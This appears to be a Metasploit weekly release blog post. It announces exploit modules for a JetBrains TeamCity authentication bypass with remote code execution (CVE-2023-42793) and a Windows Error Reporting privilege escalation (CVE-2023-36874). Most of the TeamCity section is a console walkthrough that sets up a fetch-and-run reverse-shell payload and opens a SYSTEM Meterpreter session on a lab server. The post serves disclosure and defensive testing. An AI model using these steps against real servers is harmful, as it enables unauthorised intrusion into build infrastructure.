Last updated at Mon, 02 Oct 2023 20:33:29 GMT

TeamCity authentication bypass and remote code execution

This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue. The vulnerability was originally discovered by SonarSource, and the Metasploit module was developed by Rapid7’s Principal Security Researcher Stephen Fewer who additionally published a technical analysis on AttackerKB for CVE-2023-42793. A Rapid7 TeamCity customer advisory has also been released with details on mitigation guidance.

This exploit works against both Windows and Linux targets. Example usage:

msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793):

   Name                     Current Setting  Required  Description
   ----                     ---------------  --------  -----------
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            yes       The target host(s)
   RPORT                    8111             yes       The target port (TCP)
   SSL                      false            no        Negotiate SSL/TLS for outgoing connections
   TEAMCITY_ADMIN_ID        1                yes       The ID of an administrator account to authenticate as
   TEAMCITY_CHANGE_TIMEOUT  30               yes       The timeout to wait for the changes to be applied
   VHOST                                     no        HTTP server virtual host

Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      cymQYMMk         no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST       yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit

[*] Started reverse TCP handler on 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.05.3 (build 129390) detected.
[*] Token already exists, deleting and generating a new one.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.UUxBSk0zMGk1eWFzRGZRYjg3LWJqWVVrY1Fn.YjU0NmIwYjUtNTZmNC00N2U3LWI4MGItMDdhOTQ0YjIzZGQ5
[*] Modifying to allow process creation...
[*] Waiting for configuration change to be applied...
[*] Executing payload...
[*] Resetting the settings...
[*] Sending stage (200774 bytes) to
[*] Waiting for configuration change to be applied...
[*] Deleting the authentication token.
[*] Meterpreter session 2 opened ( -> at 2023-09-28 13:29:20 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter >

New module content (2)

JetBrains TeamCity Unauthenticated Remote Code Execution

Author: sfewer-r7
Type: Exploit
Pull request: #18408 contributed by sfewer-r7
Path: multi/http/jetbrains_teamcity_rce_cve_2023_42793

Description: This adds an unauthenticated RCE for JetBrain's TeamCity server on both Linux and Windows. A remote attacker can exploit an authentication bypass vulnerability and then execute OS commands in the context of the service.

Microsoft Error Reporting Local Privilege Elevation Vulnerability

Authors: Filip Dragović (Wh04m1001), Octoberfest7, and bwatters-r7
Type: Exploit
Pull request: #18314 contributed by bwatters-r7
Path: windows/local/win_error_cve_2023_36874

Description: This adds an exploit module that leverages a directory traversal vulnerability in Windows 10. This vulnerability is identified as CVE-2023-36874 and enables an attacker to elevate privileges to those of the NT AUTHORITY\SYSTEM user. Note that this module works with Windows 10x64 22H2.

Enhancements and features (1)

  • #18399 from h00die - Fixes multiple spelling mistakes in module documentation.


You can find the latest Metasploit documentation on our docsite at

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).